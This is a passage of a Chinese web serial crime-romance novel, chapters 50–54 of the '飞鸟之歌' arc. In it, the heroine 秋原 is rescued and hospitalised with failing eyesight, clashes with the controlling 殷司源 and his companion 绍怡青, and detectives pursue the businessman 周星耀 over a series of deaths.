秋原看向周星耀,他这才抬手示意手下人把柯璃月放开,女孩冲过去扑在江岩身上,推开他身旁的人,“江岩!江岩!看看我,你看看我,是我啊!”
江岩气若游丝,勉强还有些意识。
“璃月!扶上他过来!快!”
柯璃月力气不大,个头也不高,好不容易才把江岩扶起来,两人踉跄着往秋原这边走。
“往外走。”秋原随时观察着周星耀,挟持着康静山一步一步慢慢往后退。
废楼前停着几辆车,站着的几个周星耀的人也慢慢后退。
“去看看车钥匙在上面吗。”
柯璃月艰难地扶着江岩,走到最近的车前,还一边小声跟他说:“你放心还有一点就到了我们一定能回去的!有!钥匙在的!”
“快上去,你会开车吗?”与此同时,她退到车旁,远远地看着周星耀,他的口型在说什么?
十?是倒计时!
“快上去!开车!”
不等她真的把车开起来,秋原也不敢松手,站在车门外僵持着。
柯璃月大学时考下了驾照,但多年来鲜有机会真正开车,所以基本上忘了,此时一团糟不知该如何下手。
“离合?离合,这个是离合。”
秋原面对着他们一蜂窝冲过来的人,感觉路到头了。
那一刻她感到猛烈的无望,这么多年的挣扎,苦苦熬到了今天,还是落得个如此悲惨的下场,她什么都改变不了,她的人生到头了。
那些凶神恶煞的人冲了过来,她握着刀的手在抖,她很想哭,放声大哭,最先冲过来的人突然被踹飞,紧接着殷司源出现,笑着看了她一眼,他说了句话,但秋原没有听清楚。
那句话是“我来了。”
秋原从来没有见到他这么开心过,发自内心的开心。
殷司源接着解决掉冲过来的三五个人,从腰间掏出把枪指着人群,那些人停住不敢动了。
这时,周星耀才慢悠悠地走出来,“哟,这不是司源吗?”
“亏得周老板还记得我是谁啊。”
“好久没见,司源听你这话可是真让我寒心啊?”
殷司源手里的枪转了个圈,直起身也不看周星耀,摆弄了下皱巴的衣服,“周老板这就是你不够意思了,我好心来提醒你,张队带的人不出十分钟就到,你这么说我可真真是寒心了啊。”
周星耀手下一个人低声说:“老板,不出十分钟就把他们都拿下。”
周星耀抬手制止了他,“司源如此好心,我怎能辜负他这一番心意呢?”
顿了一下接着说:“不过什么人,值得司源亲自来一趟?我倒是真真好奇。”
殷司源轻笑,气定神闲地看不出丝毫紧迫,“以周老板的手段,又怎会查不出来呢?张队的人快到了,我就不浪费您时间了。”
“好,人你带走,不过秋原说的录像,就得司源你好好帮帮哥哥了。”
“录像?虽然不知道周老板说的什么录像,不过你既然给我这个面子,录像的事定给你解决。”
殷司源目不转睛地盯着周星耀,走到驾驶座外,“下来。”
这边秋原才敢放开康静山,那一瞬她低声说了句“对不起”,也不知他听到了没有。
等柯璃月上了车,殷司源跟周星耀示意了一下,旋即坐上车发动了。
开到大路上,不出几分钟,果然几辆警车迎面开过来,殷司源响了几声鸣笛,其中一辆警车减速开了过来。
下车的是张队。
殷司源摇下车窗,“把你的人带走。”
张队看了眼车内的人,柯璃月忍着哭正呜咽,江岩已不省人事,秋原则警惕地看着他,张队随即吩咐身后的人,“快看看江队情况,叫救护车。”
等江岩和柯璃月下了车,张队看了眼江岩的状况,对殷司源说:“你得跟我汇报些情况。”
“张大队长,这可跟说好的不一样?再说我什么都不知道。”
张队听到这话全然不信。
殷司源没办法接着说:“等事过去了你找这丫头!”说着伸手揉了把秋原头发,“你们江队长不比我明白?您再不去,周星耀那狐狸可连尾巴都瞧不见了。”
张队这才放行。
殷司源哼着歌,从后视镜看到了张队,正盯着他这辆车,“嘁。”
没开多远,车又停了,“下车。”
秋原听话地下来,看到殷司源走到马路对面,停着的应该是他的车。
车开过来,停在秋原面前,她开车门前,下意识地深吸一口气,
一上车,殷司源突然伸手板过去她的肩膀,秋原轻呼一声倒吸一口凉气。
她穿着深色外套,肩膀处染了血看不分明。
“衣服脱了。”
秋原一只手扶着门,侧身对着他,他的话听得不是很真切,自然是没有反应过来。
殷司源见她无反应,强行把她的外套脱了半侧,里面的浅色长袖看着触目惊心。
注意到她的手扣在一起,不知是害怕还是疼身体在发抖,他的动作轻了些,似乎还有声叹息,“解开颗扣子。”
衣服轻轻拉下,伤口不浅,可能因为之前的行动还在出血,殷司源不知为何气不打一出来,低声骂了一句,“真是蠢。”
给她拉上衣服,开足了马力往最近的医院赶。
秋原侧身靠在座椅上,眼睛的光芒有些黯淡,望着窗外变换的景致,但其实都是树,肆意生长的树枝,在她眼里毫无区别。
渐渐地眼前
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的树也虚晃起来,像是滴上水的墨渍,晕染开来,久违地感到了晕想吐。
“好累啊……”声音很低,本是她心里的声音,从喉咙发出连她自己都没有意识到。
殷司源愣了一下,什么都没说,就当做没听见这句话。
很快到了最近的医院,殷司源快速下车,走到副驾驶开门把她抱了出来。明明周围很嘈杂,而此时秋原靠在他肩头,声音仿佛消失了。
殷司源低头看了一眼怀里的她,以前只觉得她任性无理,此刻的她竟如此弱小。
医生为秋原包扎好伤口,安排在病房,殷司源进来时她几乎快要睡着了。
殷司源脸色不怎么样,俯身看着她,单手扶着她的头低声说:“看着我。”
她的眼里满是倦意,下一秒似乎就能睡着。
“还有其他地方不舒服吗?”
她眼里的他有些模糊,头也隐隐作痛,本想说出来的,但她逞强惯了,此刻也疲惫得难以维系,话到嘴边还是拐了个弯,轻轻说:“没有。”
“你给我好好待着,有什么事都告诉我。”
秋原没有听进去,关心她的话很是陌生,她别过脸不去看他,没出几秒就睡过去了。
看她睡着了,殷司源在她床边站了一会儿,又安排好她住院的事,这才离开。
周星耀和康静山坐在车后排,康静山闭着眼睛,周星耀瞥了一眼他,说道:“伤口怎么样?”
“没事。”
“这就是你留着那女人的原因?”
康静山没回答。
“她说的真假?”
康静山这才睁眼,看着窗外,“录像的事会帮你处理好。”
周星耀点点头,他的神情依旧很严峻,“我清楚你的能力……但是,”
“周老板,康哥当时确实考虑过对面楼层可能会留下证据,已经查证过了,不过秋原的说那个偷窥狂,确实没有发现。”副驾驶座上的陆川解释道。
“那个女人,秋原?她跟之前的事有关系吗。”
陆川看了康静山一眼。
康静山淡淡地说道,“没有。”
周星耀看着窗外无声笑了,拍了拍静山的大腿,单说了一个字“好。”
张队得了空,到医院望江岩,柯璃月受了点皮外伤,这几天一直留在医院照顾江岩。
“他怎么样了?”张队把花递给她,一些吃的放在桌上。
柯璃月勉强笑了一下,“医生说他情况不太好,腿上可能会落下后遗症。”
“别担心,他身体底子好,会恢复的。”
张队此前跟乔树聊过好几次,但关于他们调查的具体内容,乔树没有江岩的指示,不能跟张队做过多解释。
张队坐在椅子上,望着床上睡着的江岩陷入深思,你到底调查到哪里了……
51.飞鸟之歌 01
秋原在医院待了两天,趁殷司源有事不在的时候独自溜了回去,她躺在床上,喝了些安眠药,沉沉地睡了过去。
睡梦中,听到些许动静,睁开眼一片模糊,头痛欲裂,她借着无意翻身从枕头下摸出一把匕首,仔细听着走进来的脚步声。
等声音靠近到床边时,她微微睁眼迅速抬腿把那人绊倒,拿刀压在那人身上。
就在她看清他脸的那一刻,她愣住了,“是你。”
她颓然失了斗志,康静山坐起来,片刻后,她才想到什么,抬起头说:“你是,来替周星耀拿回录像的?”
“对。”毫无犹豫的答案。
秋原的呼吸逐渐急促,踉跄着起身,疯了一般把身旁能触及到的所有东西都砸在地上,玻璃渣子碎了一地,她赤脚踩在上面,浑然不觉痛楚。
“你,你……”她急剧地吸气,瘫坐在地上,不知为何眼泪掉了下来,泪眼婆娑地看着他,“为什么?如果我不交给你,是不是你也会解决掉我?”
康静山起身,把她抱在床上,蹲在地上抓起她的脚,踩在玻璃渣上划出几道伤口,“疼吗?”
他环视了一下周围,拿来医药箱,用镊子把玻璃渣夹了出来,倒了些酒精消毒,为她的脚包扎好。
康静山仰视着她,秋原看着他淡漠的表情,他就是这么理性地表达所谓的被人误解的“关心”,而他自己浑然不觉。
那一刻,她突然觉得跟他再讲什么都毫无意义,只是徒劳。
“录像在那个盒子里。”
康静山轻拍了一下她的手背,起身查看茶几上的小盒子。
“你当时为什么不打算活着回来了?”
康静山转身不解地看着她。
“余海绑架了陆川那次,为什么?”
他想了一下,但感觉并不是会让她满意的答案,“只是累了。”
“累了?因为帮周星耀做事?”
“不,只是活着累了。”
“所以,你从来没有为你做过事内疚过?”
“内疚?内疚毫无用处,除了会腐蚀你自己。”说完停了一下,似乎又想到了什么,“周星耀的事你再不要牵扯其中,不管他是不是十年前的那个人,都不是你能管的了。”
秋原飞速起身追上来,踉跄着险些摔倒,“你知道什么?十年前那件事你都知道些什么?”
康静山不答,轻轻带上门离开了。
秋原看着自己的脚,眼泪落在纱布上,无声落泪变成嗷嚎大哭,回响在空荡荡的房间里。
门又开了,这回走进来的是姜海蓝,她抓着门把手,站在门口,回头再看楼道里遇到的那个男人已经不见了。
姜海蓝给秋原拿了纸巾塞在她手心里,坐在她身旁,地上一片狼藉,还从没见过哭成这样的她。
“你,喜欢他?”
秋原停止了哭泣,呜咽着转头看她,似乎听到了什么不可思议的事情。
“喜欢?”秋原啜泣了好一会儿,才慢慢缓过来。
“对不起,之前……”
秋原摇摇头,“你没错,不用跟我道歉。”
姜海蓝一直抓着她的手,感觉她的手有些热,手背试了试她的额头,“你有些发烧哎,先躺下。”
秋原肩上的伤口本就没有痊愈,提前出院并未细心用药,伤口发炎仍浑然不觉。
“你背上怎么了?”
“没事,不小心撞到了。”
姜海蓝一回头,就看到了药箱,翻腾药箱寻找退烧药。
找到了药又起身去倒水,屋里却连热水都没有,烧上热水给秋原盖好被子,看着她喝下药睡了过去,把屋子里收拾干净后天色已不早了,把药放在显眼的位置。
姜海蓝站在床边,可能是在药物副作用下秋原已熟睡了过去,她突然有些好奇,她究竟是怎么自己一个人生活的,这么多年。
震动,嗡嗡嗡,姜海蓝醒来才发现自己迷糊着了,嗡嗡的声响不知道持续了多久了,还在依依不饶地,小木桌上的手机,来电没有备注姓名,她看了好一会儿想等它自己停下来,谁知道断断续续持续了好几分钟。
“喂?”
“你在哪儿?”说完才发觉声音不对,“秋原呢?”
她看了一眼床上的人儿,“她睡了,有点发烧。”
“在哪儿?”
“她家里。”
对面直接挂掉了电话。
姜海蓝还在想这是什么人,不会是上楼遇到的那个人吧,她手背试了试秋原的额头,温度没有降下来,反而感觉更烫了。
“秋原?秋原?”
秋原迷迷糊糊半睁眼,含糊着嗯了一声。
“我得带你去医院,你这样下去好不了,秋原?醒醒。”
姜海蓝正愁如何把迷糊的她带去医院,沉重的敲门声吓了她一跳。
只开了一道门缝,外面那人就冲了进来,轻车熟路地走到床前抱起秋原往外走。
“哎你谁啊……等等……你放下她!”
“我见过你,你是她朋友?”
“你什么人?你就是……”
“跟我走。”说完就出了门。
“哎你等等。”
“……我去打点水!”
这是……海蓝的声音?
秋原迷迷糊糊睁开双眼,眼前的事物还看得不真切,仅凭轮廓判断出眼前的人。
“你怎么在这儿?”
殷司源从椅子上起身,走到她面前,“我?呵,没我的允许偷偷从我面前溜了,你还问我怎么在这儿?”
“刚是海蓝?”
殷司源把椅子拉到床前坐下,“没想到,你还真有个朋友啊?”
秋原敏锐地感觉到他语气中的危险气息,低下头不去看他,压低声音说:“你别打她什么主意了。”
跟刚见面时她的警告,这次的话语中更多了些恳求,殷司源尽量忽略,“哈哈,这就要看你的表现了,现在开始乖乖在病床上待着,我说你可以走了你才能走,不然的话,我可不敢保证她会不会是下一个你妹妹。”
“殷司源!你站住!”
他走到门口停了下来,听她气急败坏的语气,心满意足地笑了,迈开大长腿出了病房。
秋
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原突然愣住了,她还是看不清楚,比之前更甚,还以为刚醒来的缘故,全身忍不住打了个寒颤。
姜海蓝打了水回来,放在床头小桌子上,“你怎么样了?”
看她失魂落魄的样子,也不应话,“秋原?你怎么了?”
秋原缓缓抬头,看着近在咫尺的人却总觉得隔着一层雾,“我……我看不清……”
殷司源火急火燎地赶来医院时,医生已经给秋原做完检查,头部受伤,颅内出血,压迫视神经,导致视力急剧下降。
姜海蓝陪在秋原身边,坐在楼道的长椅上,殷司源正跟医生见面。
很快,殷司源出来走到两人面前,神情严肃,姜海蓝看他等他说话,而秋原低着头像是局外人,这一幕看在眼里的殷司源一时间怒火中烧,强忍着没有发火。
他抱起她送到病房,姜海蓝跟了上去。
“当时为什么不跟我说?嗯?”他强忍着怒气,整个人的气场却还是很吓人,姜海蓝站在门口不知进还是退出去。
“你是想报复我是吧?你以为你在我手上死了我会有负罪感?不可能!开心吗?错过最佳治疗期你眼睛好不了你就满意了是吧?啊?你确实够狠的啊?”
最恼人的事大概就是对着木头发火,病床上的秋原一言不发,此刻的殷司源近乎要暴走,看到姜海蓝在,气急之下离开了病房。
门口的姜海蓝识趣地让了一步,等他走了,坐在床边。
“你还得学校,早些回去吧。”秋原的声音有些低沉。
“没事,这两天没课。”姜海蓝勉强笑了笑,“他就是之前你让我不要接触的人,是吧?”
“是他。”
姜海蓝不自在地扭动了一下,“我觉得还是告诉你比较好,那天他特比急的把你带来医院,一晚上都看着你,你发烧都烧糊涂了,呜哩哇啦地说胡话,他一直跟你说话,安慰你……”
秋原别过脸去,这是她并不想听到的话,“他不是好人。”
姜海蓝知道自己对于他们之前的事知之甚少,固然不能仅凭看到的来评判他们,“他刚说的话,多半是关心你,你别往心里去。”
“哼,”她冷笑道,“他才不会真的关心我,他只想着折磨我,怎么找乐子。”
“不管怎么样,你耽误的是自己,好好休息,听医生的看接下来怎么办。”
过了好一会儿,她才试探性地问,“我是不是要瞎了?”
“说什么呢!”她抬眼才注意到她脸上的恐惧,眼睛没有焦点望着正前方。
“别怕!”说着握住她的手,手有些凉,“你那天怎么没说?”
秋原苦笑,“我以为没什么大碍的,而且我也不想告诉他那么多。”
她的视线转向窗外,眼睛很久才眨一下,“他父亲收养了我,我们在一个家里生活了四五年。”
姜海蓝早看出他们认识已久,但没想到他们竟然算是“一家人”?
“他父亲是市长,我举报了他父亲,不久前,在牢里自杀了……”
“咳,你,你恨他吗?”
“恨他?应该是他恨我吧?”
52.飞鸟之歌 02
殷司源时不时来医院,赌气一般不跟秋原说话,跟医生确认了治疗方案,具体安排都是告诉姜海蓝,海蓝再转达给秋原。
姜海蓝在医院待了三天,必须得回学校了,走之前还很不放心地特意叮嘱了秋原一番。
“以后,别来找我了。”
姜海蓝突然愣住了,“什么意思?”
“见到你,总是会想起姜雪峰,想起死去的江黎,太痛苦了,求你别来了。”她说的这话,半真半假,同时脑海中满是柯璃月的痛哭嘶吼江岩被殴打至不省人事的画面。
看到她眼中的落寞和悲伤,秋原的心突然揪了一下,转而说道:“等我做完一件事,要是顺利解决了,我去找你。”
“那要是……算了,你好好照顾自己,别那么没心没肺,对自己多上点心,我走了。”
没想到,她们两人谁都没想到,姜海蓝未说完的话,竟一语成谶……
秋原躺在病床上,看着窗外的树,叶子时不时落下几片,满是不甘心。她卸下眼镜,眼前同样的那副景致瞬间模糊了。
病房门开了,护士照例查房,秋原顺道问她何时可以出院。
秋原回到病房时门突然从里面开了,殷司源看到她神色这才缓和了下来。
“我不是说了没有我允许乖乖待着吗?”
秋原闻到了酒气,有意无意藏下手里的纸袋子,“护士说我可以出院了。”
“就你那点儿钱够付医药费?”
秋原没想到他视线一低转而就明白她在想什么,被窥视到小心思的她微微低下头。一小时前她在取款机前无力地蹲了好久,之前用掉了很多,加上很长时间没有工作,剩下的所有钱还真不确定够不够。
殷司源没等她回答转身坐到椅子上。
秋原没有进去,转而直接去交费。
“怎么了?可以出院了你不高兴?”
刚开门被看到一脸的落寞,秋原听出他语气中的得意和嘲讽,但眼下医药费不够也只是无计可施,一肚子闷气圈腿坐到床上,故意无视那人。
谁知那人闭上眼没出一会儿竟睡着了。
秋原轻手轻脚下了床,把开了缝的窗户关上,遛在那人面前弯下腰看他是否真的睡着了,突然他的头点了一下,把秋原吓了一跳,她忙站直了身板,迅速遛回了床上。
在病床上待了好几天,秋原百无聊赖,天色渐暗,她捉摸着收拾东西,但其实本就没什么带来的。
护士正好进门,“今天就要出院吗?”
“嘘!”秋原指了指屋里的另外一人,低声说:“那个人付医药费,这几天谢谢你了。”
乌央央的高楼大厦,从缝隙中透过的最后夕阳,晕染了一大片天迹,在这儿楼宇之间一人显得格外渺小,像是深处巨大的洞穴之中,阳光怎么也照不进来。
正静站着,肩膀被人拍了一下,“坑人医药费还一声不吭就溜了?”
还没回答,他就接起电话,“喂?医院门口,你直接过来。”
刚挂上电话,一辆亮眼的紫色跑车停在他们面前。
从车上走下一个女人,波浪长发,短连衣裙披着外套,抹着指甲油的修长手指摘下墨镜,红唇轻轻一笑,睥睨着走到殷司源面前,一只手勾住他的脖子,贴着他近乎咫尺的距离。
娇滴滴的声音说道:“亲爱的,你可总算想起还有我这么个人了。”
殷司源亲了下她的红唇,笑着捏了捏她的下巴,他侧头瞥了一眼身旁的人,“把她送回去,我晚点找你。”
女人故作嗔怪锤了下他心口,道:“呀,你这根本就不是约我,就没想着我,哼。”
“乖,听话。”说完大步走了。
女人等他走远了,才正眼看了秋原一眼。
“你不用送我,我自己回去。”
“回哪儿去啊?没听明白司源怎么说的?上车。”说完转身上了车。
女人没有上楼,把钥匙丢给了她,冷着脸说:“我还有事,恕不奉陪。”
“这是他住的地方的钥匙?”
女人没理她,踩油门走了。
浴室里雾蒙蒙的,淋浴的水过于温暖,秋原在水下站了好久,身子骨彻底舒展开来,闭着眼任由热水扑面而来。
突然响起什么动静,秋原警惕地睁开眼听着外面的声音。
殷司源醉醺醺地进了门,环视一圈没见着人,听到水声,晃悠悠地走到卫生间门前,门锁着,狠狠地敲门,“这是谁的地盘你敢给我锁门?开门!殷思林你给我开门!”
秋原匆忙穿上件长衫,湿漉漉的头发贴在背上。
“你干什么?”秋原怒视着眼前的人,看他站都站不太稳,“你又喝酒了?不是下午……”
话还没说完,殷司源凑了过来,秋原一惊往里退,“你喝了酒就去睡觉,耍什么酒疯?”
而那人全然置若罔闻,一步步靠近,到淋浴下秋原关了水,谁知他不依不饶地凑过来,无意间碰到了开关,热水落在两人头上,水雾在这个空间里滋生。
“在我这里,你什么时候都不能锁门,听懂了吗?”
秋原抓着衣服,抹了一把脸上的水,自知此时跟他扯什么都没用,点了点头表现得顺从。
“很好。”说完又晃晃悠悠地出去了。
秋原环视了一下周围,不安和漂泊感瞬间丛生,这不是属于她的地方。
“我一直想问你,当时你为什么会出现在那里?”秋原站在他卧室门口。
殷司源脱下外套扔在床上,随手扯了张毛巾擦脸,“哪儿?”
“周星耀那儿。”
他听到这儿,停下手里的动作,坐在床上,“周星耀?呵,你怎么跟他结仇的?”
“我跟他的事你与你无关。”
“你知道你在说什么吗?”
秋原撇了撇嘴,好在他并无犯病来针对她。
“周星耀,不是你惹得起的人,别自讨苦吃。”说着解开衬衫扣子,躺在床上。
“下午那个女人,是谁?”
殷司源偏过头看向她,“你说绍怡青?”
“我在橘子见过她。”
“然后呢?”
秋原觉得眼前的人难以沟通,轻叹一口气转身要走。
“你喜欢康静山?”
迈出的步子停了下来,她一时不知该如何回答。
殷司源抬手捞了个枕头垫在腰下,最近腰疼又犯,他瞥了一眼门的方向,酒意上头,眼睛慢慢闭上睡了过去。
秋原去了趟警局,江岩还没出院,只有乔树在。
“江岩怎么样?”
“恢复中,还需要一段时间。你怎么戴眼镜了?”
“哦没什么。周星耀呢?有发现什么线索吗?”
乔树摇摇头,“那个偷窥狂翻供了,说
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看错了,关上几个月。”顿了一下接着说:“我听璃月说你那儿有录像,之前调查并没有,是你自己编的吧。”
秋原犹豫了一下点了点头,似乎想到了什么,“那个女孩呢?”
“蒋仙儿家里就她一个,独自一人来这里打工,来往的都是工作上的人,不喝酒无不良嗜好,已经通知她父母领回尸体了。”
“之前的案子,都是这样的吗?”
“各有不同。”
秋原点点头,看她这反应,乔树正色说道:“这些事都交给我们来查,你不要再管了,要是发现周星耀找人骚扰你,一定要第一时间联系我们。”
“嗯,我知道了,谢谢。”
“殷司源这个人,有没有骚扰你,需要我出面吗?”
秋原摇摇头,“没事,放心。江岩是不是,一直都挺恨我的?不过恨我的,肯定也不止他……”
“他挺后悔的,”乔树第一次听到她这么说,才知道她竟然想了这么多,“你别怪他,他恨的是他自己,没保护好妹妹。你放心,这些都会过去,案子会水落石出的。”
秋原笑了笑,乔树一眼就看出她的勉强,只是没有揭穿她。他不知道的是,这么多年经历这么多事,她对警察究竟还有多少的信任。
“我送你回去?”
“不,不用了,我还要去个地方。”
“好,注意安全。”
告别了乔树,秋原往回走,她手里的钥匙,还是那个女人给的,她清楚明白地记得,那个人在橘子酒吧出现过,甚至还上过楼,
“就这点钱?”蛇尾数了数手里的钱。
“就这么点,能跟我说什么,你看着办吧。”
“哈哈,”他点了根烟,“你跟周老板闹翻了,我可不敢做你的买卖。”
秋原抽回他手里的钱。
“哎哎哎,不过犯不着跟钱过不去。”说着把钱塞到了兜里,“两天后给你答案。”
“明天。”
“钱不多条件不少,等我消息。”
此时天已经完全黑了。
一路慢慢走回去,一天没吃东□□自饿得咕咕叫,在路边的小店买了张饼,边走边吃,吃了一肚子凉风。
这几天殷司源都没有回来过,她突然想是不是自己可以回去了,拿钥匙开了门,发现门口的高跟鞋。
走进去就看到,那女人躺在沙发上。
“我就说你怎么不在。”
“你怎么在这儿?”
女人笑着,“你说呢。”
秋原想来白问了个问题,不打算跟她有什么牵扯,径直去了卧室。
许是吃得不合适,秋原睡了没多久肚子不舒服就疼醒了,起身摸到厨房倒了杯热水,听得什么动静,仔细听了听才知道是殷司源房间没关门。
女人的呻吟声在黑夜里抓耳挠腮,一个不留神,杯子哐当掉在了地上,在黑夜中划出一道刺耳的声音。
摸黑中收拾杯子残渣,灯突然亮了。
秋原抬头看到殷司源穿着睡袍出了卧室,从桌上拿起烟盒坐在沙发上,一句话也没说点了根烟。
摔坏杯子是她不对,可他也不至于这么生气吧,秋原一时间走也不是不走也不是,无名的烦躁挠得她心里发痒。倏尔坐在餐桌旁的椅子上,较劲儿似的不肯走。
殷司源倒是毫无注意到她漫天的想法,烟灭了三根,回房去了。
53.飞鸟之歌 03
躺在床上的秋原计划着明日要做的事,这里的床和被子都格外舒适,不像小时候的杂货间,不像救助站的硬床板,反而像那几年在殷家的生活,假得再难以真实。,这些日子都睡得格外久,醒来时自然是见不着屋里其他的活物,简单收拾出了门。
迎面一个熟悉的身影,推着辆黑色山地车,穿着连帽衫,带着黑色棒球帽,背着双肩书包,很像是个乖巧的学生。
“你见他干什么?”麦子示意了下那人走远的方向。
“有点事问他。”
“康哥不许跟他有生意往来……”
话说到一半,两人都发现不对劲,麦子躲闪着眼神挠了挠头,嘟囔了一句,“康哥说得话自有他的道理。”
秋原忍不住笑了,这一笑让麦子更尴尬了。
“你笑什么?”
“没什么,就是觉得在静山身边你果然像个长不大的孩子,还是个听话的孩子。”
“别老把我当小孩!我都快成年了!”
秋原笑着笑着,想起刚那人的话,可以确定绍怡青的身份,她几年前曾在周星耀身边待过,后来跟周星耀断了联系,反而在橘子酒吧频繁出现。但不能确定,周星耀出于对自己的怀疑,还是因为殷司源……
“我要去音乐学院念书了。”
这句话把秋原从思绪中拉了回来,“啊?挺好的。”
她从没听麦子说过他的事,不过他既有天赋又愿意去学习,不免由衷为他感到高兴,又重复了一遍“挺好的。”
麦子还想说什么,但两人四目相对,秋原不等他再开口,留下句“走了”。
殷司源一晚上喝了不少酒,绍怡青跟着他倒是做足了女朋友的身份,回到公寓他已昏沉沉近乎不省人事,绍怡青低声在他耳旁说了句话,看着他进浴室冲澡。
绍怡青从包里摸出烟盒,顺手摸到了一个药瓶,她瞥了一眼浴室,把小药瓶放了回去。
听闻侧卧有动静,绍怡青突然想到了什么,笑着从包里拿出什么握在手心里,起身拿了个杯子。
秋原迷糊中看到了绍怡青,真是不想什么什么偏自来,顺手从桌上拿了水杯接了水。
绍怡青吸了口烟,慢慢吐了烟圈,等她喝了水,开口道:“查得怎么样了?”
迈出的步子收了回来,秋原看向她,“你说什么?”
“你找人调查我,怎么样了?”
见她不说话,绍怡青倒起了兴致,“你再怎么查,司源不信,你不过白费力气。”
“既然你这么说,我倒想问问,你跟在殷司源身边,是因为什么?”
绍怡青起身看到她手里半空的杯子,满意地笑了,“你自己没查出来?还来问我?”
看她本就无心好言相待,秋原便不打算再多说什么。
殷司源披着浴袍,擦了擦头发,醉醺醺地回到卧房,床上人影朦胧,他笑着俯下身,轻吻她的额头,她的唇。
女人似乎有些抵触,含糊中听不清呢喃的话语。
殷司源握着那女人的手腕,嘴上的动作停了下来,“怎么是你?”
他翻了个身躺在床的另一侧,酒意上头,思绪乱成一团麻,此刻难以做出清醒明白的判断,缓了片刻,硬撑着身子坐起来。
起身前回头望了眼床上的女人,伸手给她拉上了被子。
昏暗中绍怡青靠着墙,望着沙发上的人,这人的举止着实出乎她意料,若不是如她所想,事情可真就难办了。
秋原听到说话声,这才清醒过来。
客厅中殷司源和绍怡青的声音听得分明,而自己竟然是在殷司源的卧室,难道昨天晚上发生的事是真的?
“你把她留在身边,不就是等哪天上了她吗?”
“什么时候需要你来过问我的事了?”冷冷的语调,光听声音秋原都觉着害怕,没来由的害怕。
“呵,别以为我不知道,你们男人都一个德行,玩够了自然丢了,我这是在帮你啊,谁让你养了这么久都没行动?反倒来指责我?”
“绍怡青我再说一遍,秋原是我的人我留着她自有用处,不需要你来告诉我怎么做,听明白没?再敢多手这件事,别说周星耀我不给他这个面子,我让你再也见不到他。”
听到“周星耀”这个名字,秋原心里咯噔一下,原来他早就知道绍怡青是周星耀的人……
“趁我没动手之前赶紧滚!”
“哼,殷司源,你不会得逞的,我现在可知道了,你的把柄。”说完高跟鞋声消失在一声门响过后。
殷司源回卧房拿外套,一开门发现秋原蹲在门边,注意到他进来,秋原匆忙起身,怯生生地退了一步。
这点细微的动作,殷司源自然是看在眼里,本就郁闷的心境更是平添烦扰。
他走近一步,“怕我?”
秋原想起一些话,深吸一口气说道:“殷司源,你玩够了吗?可以让我走了吧?”
殷司源抓起她的手腕,“没有玩够?你又怎样?嗯?”
他微微低下头,故意凑近她的脸庞。
“看来昨晚的事,你还记得些什么?”
殷司源捏着她的下巴,作势要吻上去,秋原退到墙根,别过脸去。
“还想再来一次?”
这句话惹得秋原心里怒火中烧,“你个混蛋!”
见她这番难以寻味的表情,殷司源心满意足,转身去衣柜里拿了件新的外套,径自出了门。
注意到张队也在时,江岩的脸色立马变了,“他怎么也在?”
“你之前说的几起跟周星耀有关的案子我都看了,要是你判断得,没错的话,那这一系列牵扯就大了,所以从今天开始,二队跟你们联合侦查,争取早日结案。”
“我不同意。”
高副局长厉声说:“我不是跟你商量!”
江岩深吸一口气,报告丢在桌上,愤懑地坐了下来。
会议正式开始。
张队细细研读此前江岩对周星耀的调查,以及相关案件的卷宗记录。
有人敲门,江岩抬起头,正是张队。
“借你人一用。”
“随意。”
张队回头对乔树喊道,“乔如意,你老大准了,跟我走一趟。”
“是。”
两人面对面坐着,而张队只看着眼前一摞资料,什么话也不说。乔树看不透张队在想什么,又得提防着不能事事托盘而出。
“蒋仙儿的案子有什么眉目吗?”
“没有。”
“嫌疑人怎么说?”
“郭瑞承认当日的所有行径,尾随蒋仙儿至她家中,企图施暴,失手杀了蒋仙儿。”
“他们二人之前可有什么联系?”
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“并无发现有何联系,据郭瑞交待,他是在街上无意中见到蒋仙儿,对其产生歹意,跟踪她数日,摸清了她的行踪,同时根据蒋仙儿朋友所说,她确实发现有人跟踪她。”
“现场呢?跟证词有什么出入吗?”
“并无出入。”
张队的笔在案卷上一下一下敲打着,仔细捉摸着。
“申力博当初是谁办的?”
“已经调走的肖队长。”
申力博几年前因为车祸身亡,经调查确实为意外,但当时他跟刚接手嘉海的周星耀矛盾不少,故而引起多方怀疑。
“徐佳禾呢?”
徐佳禾是本市大学一大四学生,不明不白死在污水处理厂,身上多处伤口,有被性侵的迹象,警方组织大量警力侦办此案,最后也是凶手自己自首,此案在当时还引起巨大的舆论。
“也是肖队。”
“我看了跟周星耀和嘉海都没什么牵扯,江岩怎么判断跟周星耀有关的?”
“这个案子确实没发现跟他们的关系,但案发后,有发现康静山的行踪有可能到过案发现场。”
“康静山?就是之前怀疑跟周星耀私下长期交易的人?”
“是他。”
“仅凭这一点?”
“是。”
张队思索了一番,理了理相关线索,接着说:“我听高副局说,当初江岩妹妹,江黎遇害的案子,他现在也怀疑跟周星耀有关?”
“对,根据当时的目击证人口述,在江黎出事前,发现了除了姜雪峰意外的嫌疑人,而且当时姜雪峰的妻子检查出患癌,以他们的经济状况,难以负担,姜雪峰认罪定案后,姜雪峰妻子收到一笔现金巨款,得以治疗癌症。”
“这案子当时还有目击证人?”
乔树的眼神恍惚了一下,不知道该如何开口。
“记录上没有目击证人啊?”
“这个……”
张队的视线从记录转移到乔树身上,“怎么?”
“这个,具体的您问江队吧。”
江岩抽着烟,双腿翘在窗台上,望着窗外愣神。
张队走到他身旁,望着楼下,这景色他看了好多年了,一丁一点的变化都在他眼里,眼前这一幕于他而言全然无味。
“高副局的意思,你清楚吧?”
“你想说什么?”
“周星耀的这一系列案子,你已经陷得太深了。”
江岩没吱声。
“江黎出事有目击证人?”见他没反应,张队接着说:“你不想说也罢,但是我提醒你一下,姜雪峰被查得什么疑点都没有,你不觉得有问题吗?”
“你往哪儿想呢?”
“你应该比我清楚,而且也见着那位李剑安了,这个案子是高副局跟这位李剑安一起负责的,这位李剑安在局里表现平平,没几年就比高副局先升上去了。”
“这我都知道,然后呢?”
“我做了些调查,你要听吗?”
“有话直说。”
“小刘是李剑安的远方亲戚,这你知道吗?”
“你查我的人?”江岩给了他一拳。
“你让我有话直说的!”张队敏锐地躲开了。
“所以你那位,目击证人,能告我是谁了吗?”
“这事你不用管,我会处理好。”
54.飞鸟之歌 04
小刘给江岩送了杯咖啡,“江队您喝咖啡。”
“谢谢。”
小刘整了整桌上散落的文件。
“小刘你来多长时间了?”
小刘愣住了,手里的动作慢了下来,但还是笑着说:“已经快两年了。”
“坐下说。”
“江队,您怎么突然这么客气,搞得我怪不好意思了。”
“不好意思什么?什么时候李剑安李局长来一趟,都没好好请李局喝杯茶。”
